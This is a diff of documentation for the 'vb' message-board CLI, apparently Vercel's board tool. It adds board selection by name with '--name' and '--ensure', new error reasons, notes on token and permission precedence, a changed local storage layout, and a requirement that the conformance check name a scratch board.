@@ -92,10 +94,9 @@ would print, for an agent's tool, say, without starting a CLI for each call:
92
94
  ```ts
93
95
  import { readFile } from 'node:fs/promises'
94
96
  import { board } from '@vercel/board'
95
- import { http } from '@vercel/board/backend-http'
96
97
  import { vb } from '@vercel/board/cli'
97
98
 
98
- const team = board({ backend: http('https://www.example.com/api/board') }).as('triage')
99
+ const team = board().as('triage')
99
100
 
100
101
  const { code, stdout, stderr } = await vb(team, ['read', '42'])
101
102
  await vb(team, ['reply', '42', 'on it', '--attach', 'shot.png'], {
@@ -122,6 +123,8 @@ itself.
122
123
  | --- | --- | --- | --- |
123
124
  | Board URL | `--url <url>` | `BOARD_URL` | none |
124
125
  | Team board | `--scope <team>` (or `--team`) | none | in a Vercel project, its team's; for a CLI [inside another](#inside-another-cli), your login's team's anywhere else |
126
+ | Board name | `--name <board>` | `BOARD_NAME` | the team's default board |
127
+ | Make the named board | `--ensure` | none | off: `vb` only finds it |
125
128
  | Token | none | `BOARD_TOKEN` | detected: a local board's (`vb serve`), GitHub Actions, the Vercel runtime, then your Vercel login (`VERCEL_AUTH_TOKEN`, or `vercel login`) |
126
129
  | Profile | `--as <name>` | `BOARD_AS` | detected from the agent environment |
127
130
  | Profile avatar | `--avatar <url>` (with `--as`) | `BOARD_AVATAR` | built in for `claude`, `codex`, `grok`, and `pi` |
@@ -137,6 +140,52 @@ itself.
137
140
  one, and a CLI inside another talks to your login's team's board. Nothing in
138
141
  a checkout names a host: a project's `.vercel/project.json` names only its
139
142
  team, in Vercel's API, so a repo you clone can't send your token elsewhere.
143
+ - **`--name` picks one of the team's boards by its name,** whatever its
144
+ case: `--name security`, and with `--scope acme`, team acme's. It goes
145
+ with `--scope`, so it's ahead of `BOARD_URL`. With `--url` it's misuse,
146
+ and so is a name with its team in it (`--name acme/security`): the team
147
+ is `--scope`'s. `BOARD_NAME` names it when `--name` doesn't; beside
148
+ `BOARD_URL`, which names another board, it's misuse, so unset one. A
149
+ board's URL names its team, so `--scope` beside `--url` is misuse too. A
150
+ name only finds a board, and `--ensure` makes it if the team has none by
151
+ that name, as `board({ name })` does in code by default: a typo at a
152
+ terminal makes no board. Without it, a name the team has no board for, or
153
+ none you can see, fails with `board_not_found`, and the command with
154
+ `--ensure` added is the way out. A name a board you can't see already has fails with
155
+ `board_name_taken`: names are unique across the team's boards, private ones
156
+ too. `--ensure` with no name, or with `--url`, is misuse. See
157
+ [A board by its name](../01-board/01-mounting.md#a-board-by-its-name).
158
+
159
+ ```text
160
+ $ vb read dev --name nope
161
+ error: no board named nope on this team, or none you can see.
162
+
163
+ Check the name, or make it:
164
+ vb read dev --name nope --ensure
165
+
166
+ $ vb post dev first --name nope --ensure
167
+ msg_8d9ca1cd-4c78-4248-948f-1c8c912f79aa_1
168
+
169
+ $ vb read dev --name vault --ensure
170
+ error: the board name vault is taken.
171
+
172
+ Pick another name, or ask whoever can see it for access.
173
+ ```
174
+
175
+ With `--ensure`, a board a project has no access to fails with
176
+ `board_not_granted`, and so does the team's default board, either way:
177
+
178
+ ```text
179
+ $ vb read dev --name security --ensure
180
+ error: this project has no access to board security (prj_pong, preview).
181
+
182
+ Someone who manages the board can grant it.
183
+
184
+ $ vb read dev
185
+ error: this project has no access to the team's board (prj_pong, preview).
186
+
187
+ Someone who manages the board can grant it.
188
+ ```
140
189
  - **A team's board has a URL too:** the one `whoami` prints for it
141
190
  (`https://api.vercel.com/v1/messageboard/boards/<board>?teamId=<team>`), which
142
191
  `--url` and `BOARD_URL` take, so a script outside the project reaches it
@@ -147,7 +196,9 @@ itself.
147
196
  a development token minted with your Vercel login: `VERCEL_AUTH_TOKEN`, which
148
197
  the Vercel CLI sets for a CLI it runs, or else your `vercel login`. That last one is cached
149
198
  in `~/.config/board/tokens/` for its 12-hour life. See
150
- [Identity](../01-board/03-identity.md).
199
+ [Identity](../01-board/03-identity.md). A team's board in Vercel's API
200
+ gets `BOARD_TOKEN` first too, then `VERCEL_TOKEN`, the deployment's OIDC
201
+ token, and your Vercel login.
151
202
  - **Profiles are detected** from the agent's environment. More than one match
152
203
  is an error; pick one with `--as`, or none with `--human`.
153
204
 
@@ -247,7 +298,8 @@ error document:
247
298
 
248
299
  - **`reason` is what a program branches on:** `missing_scope`,
249
300
  `login_required`, `permission_denied`, `deployment_protected`,
250
- `board_not_found`, `message_not_found`, `channel_not_found`,
301
+ `board_not_found`, `board_not_granted`, `board_name_taken`,
302
+ `message_not_found`, `channel_not_found`,
251
303
  `unknown_command`, `unknown_option`, `invalid_arguments`, `timeout`, and
252
304
  the board's own codes, such as `already_synced` or `no_scheduler`.
253
305
  - **`next` is what to run**, each `{ command, argv, when }`, and `hint` what
@@ -300,6 +352,22 @@ token expires in 0h 59m
300
352
  can ci/ read post
301
353
  ```
302
354
 
355
+ On a team's board in Vercel's API, what you can do is what Vercel's API says.
356
+ A person may do what their team role lets them: everything for an owner, a
357
+ member, or a developer, which `whoami` doesn't spell out, and read for a
358
+ viewer. A project may read, post, react, and label everywhere:
359
+
360
+ ```text
361
+ $ vb whoami --scope test
362
+ Julián Benegas (vercel:user:u_jb)
363
+ board https://api.vercel.com/v1/messageboard/boards/brd_test?teamId=team_test
364
+ source the Vercel CLI
365
+ can * read
366
+ ```
367
+
368
+ Credentials the API says expire show when, as `token`. Where it says
369
+ nothing of what you can do, you can read, post, react, and label everywhere.
370
+
303
371
  See [Access](../01-board/09-access.md).
304
372
 
305
373
  ### serve
@@ -322,10 +390,13 @@ inspector at http://127.0.0.1:4747
322
390
  ```
323
391
 
324
392
  - **It keeps everything in `.board/`** at the Git checkout's root (and adds
325
- it to `.gitignore`), or in `--dir`: the log in SQLite (`board.db`) and files in `attachments/`. It runs
326
- a scheduler in the process, so schedules send while it runs, and passes every
327
- [conformance](#conformance) check. Its timers live in the process: a restart
328
- drops the pending ones, a scheduled message's included. It has no sync.
393
+ it to `.gitignore`), or in `--dir`, as [`local()`](../01-board/10-local.md)
394
+ does: the log in SQLite (`local.db`) and files in `local/`. A `.board/` an
395
+ earlier `vb serve` kept (`board.db`, `attachments/`) moves there on its next
396
+ run. It runs a scheduler in the process, so schedules send while it runs,
397
+ and passes every [conformance](#conformance) check. Its timers live in the
398
+ process: a restart drops the pending ones, a scheduled message's included.
399
+ It has no sync.
329
400
  - **You're `local:user:<your OS user>`**, or `--handle`'s handle, with full
330
401
  access. It signs your token into `~/.config/board/local/`, where `vb` on
331
402
  this machine finds it, and deletes it when it stops. Its keys live only as
@@ -553,7 +624,7 @@ for new threads only.
553
624
  | Flag | Effect |
554
625
  | --- | --- |
555
626
  | `--label k=v` | sets a label on the message (the root, or the reply when given an ID); repeat for more |
556
- | `--attach <file>` | uploads a file (at most 4 MB, or 100 MB on a board whose blob store takes direct uploads; 10 per message) and attaches it. Every file is checked before any uploads. A board that keeps no files refuses: ``error: this board keeps no files: pass `blob` to `a2()` `` |
627
+ | `--attach <file>` | uploads a file (at most 4 MB, or 100 MB on a board that takes direct uploads, as Vercel's board does; 10 per message) and attaches it. Every file is checked before any uploads. A board that keeps no files refuses, with 501 `no_files` |
557
628
  | `--sync <target>` | also starts or joins a thread there: `slack:#incidents`, `github:owner/repo:12`; new threads only |
558
629
  | `--no-sync` | keeps the message on the board: it reaches none of the channel's mirrored channels |
559
630
  | `--idempotency-key <key>` | the same key never posts twice, so a retried step posts once |
@@ -641,9 +712,8 @@ it's a message ID.
641
712
  Durations are a number and a unit: `30s`, `30m`, `12h`, `1d`. A repeat with no
642
713
  stop runs until it's canceled. It prints the schedule. `schedule cancel s12`
643
714
  stops one, yours or anyone's with `manage` in its channel, and prints
644
- `canceled s12`. A board with no scheduler refuses to schedule:
645
- ``error: this board has no scheduler: pass `scheduler` to `a2()` to send later``.
646
- See [Scheduled messages](../01-board/07-schedules.md).
715
+ `canceled s12`. A board that keeps no schedules refuses, with 501
716
+ `no_scheduler`. See [Scheduled messages](../01-board/07-schedules.md).
647
717
 
648
718
  ### typing
649
719
 
@@ -711,21 +781,34 @@ actually sent. `--limit` is 50 by default, at most 500. With `sync` in every
711
781
  channel it shows the board's own and every registered sync's; a sync elsewhere
712
782
  sees what it pushed.
713
783
 
714
- A board on `a2()` keeps the events that failed 10 times in A2, as dead letters:
715
- reach them through the backend's `servers`. See [the log](./04-log.md#consumers-and-dead-letters).
716
-
717
784
  ### conformance
718
785
 
719
786
  ```text
720
787
  vb conformance [--channel <c>]
721
788
  ```
722
789
 
723
- Checks that the board speaks the whole protocol, a group at a time. It posts
790
+ Checks that a board speaks the whole protocol, a group at a time. It posts
724
791
  to `conformance` (or `--channel`), keeps every post on the board, and deletes
725
- what it posted. It exits 1 when a check fails:
792
+ what it posted. It exits 1 when a check fails.
793
+
794
+ It posts and changes grants, so it checks only a board you name: `--name`,
795
+ `--url`, `BOARD_URL`, or `BOARD_NAME`. With none, it doesn't fall back to the
796
+ team's board, and exits 2:
726
797
 
727
798
  ```text
728
799
  $ vb conformance
800
+ error: conformance posts and changes grants, so name a scratch board for it.
801
+
802
+ Check a scratch board on this team, by its name:
803
+ vb conformance --name <BOARD>
804
+ Or a board by its URL:
805
+ vb conformance --url <URL>
806
+ ```
807
+
808
+ A name runs it on that board, the team's default board included:
809
+
810
+ ```text
811
+ $ vb conformance --name scratch
729
812
  core
730
813
  passed says in its discovery where it is
731
814
  passed posts a message, and reads it back by its ID
@@ -828,6 +911,5 @@ of them must match.
828
911
  (an event's `cursor`, or the one `read` prints). `read` reads forward from
829
912
  it, and `tail` and `wait` start there. A watcher always starts at the head.
830
913
  - **Cost.** `tail` and `wait` check each event once, in constant time. On
831
- `a2()`, `read` queries tables with channels, threads, authors, mentions, and
832
- labels indexed. See
833
- [Database](../01-board/02-database.md#what-a-store-keeps).
914
+ `local()`, `read` queries tables with channels, threads, authors, mentions,
915
+ and labels indexed.